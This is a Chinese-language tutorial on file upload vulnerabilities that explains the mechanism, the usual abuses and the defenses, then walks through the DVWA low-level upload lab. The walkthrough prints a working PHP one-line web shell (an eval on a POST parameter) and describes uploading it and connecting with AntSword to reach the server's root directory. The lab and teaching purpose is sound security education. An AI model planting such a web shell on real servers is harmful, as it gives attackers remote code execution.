常见漏洞之upload

简介

• 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上传木马，病毒，恶意脚本或者WebShell等可执行的动态脚本文件。
• 原理
  在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data，同时加入文件域，而后通过 HTTP 协议将文件内容发送到服务器，服务器端读取这个分段 (multipart) 的数据信息，并将其中的文件内容提取出来并保存的。通常，在进行文件保存的时候，服务器端会读取文件的原始文件名，并从这个原始文件名中得出文件的扩展名，而后随机为文件起一个文件名 ( 为了防止重复 )，并且加上原始文件的扩展名来保存到服务器上
• 文件上传后导致的常见安全问题一般有
  上传文件是Web脚本语言，服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;
  上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
  上传文件是病毒、木马文件，黑客用以诱骗用户或者管理员下载执行:
  上传文件是钓鱼图片或为包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。

漏洞利用

上传Web脚本程序，Web容器解释执行上传的恶意脚本。
上传Flash跨域策略文件crossdomain.xml，修改访问权限(其他策略文件利用方式类似)。
上传病毒、木马文件，诱骗用户和管理员下载执行。
上传包含脚本的图片，某些浏览器的低级版本会执行该脚本，用于钓鱼和欺诈。

如何防御

• 文件上传的目录设置为不可执行
  只要web容器无法解析该目录下面的文件，即使攻击者上传了脚本文件，服务器本身也不会受到影响，因此这一点至关重要。
• 判断文件类型
  在判断文件类型时，可以结合使用MIME Type、后缀检查等方式。在文件类型检查中，强烈推荐白名单方式，黑名单的方式已经无数次被证明是不可靠的。此外，对于图片的处理，可以使用压缩函数或者resize函数，在处理图片的同时破坏图片中可能包含的HTML代码。
• 使用随机数改写文件名和文件路径
  文件上传如果要执行代码，则需要用户能够访问到这个文件。在某些环境中，用户能上传，但不能访问。如果应用了随机数改写了文件名和路径，将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件，都将因为重命名而无法攻击。
• 单独设置文件服务器的域名
  由于浏览器同源策略的关系，一系列客户端攻击将失效，比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

dvwa之upload（low）

先写一句话木马

<?php
eval($_POST['123']);	//密码123
?>

保存为PHP1.php，后缀名要改为php
上传文件

上传成功，然后使用蚁剑，添加数据


成功拿到后台根目录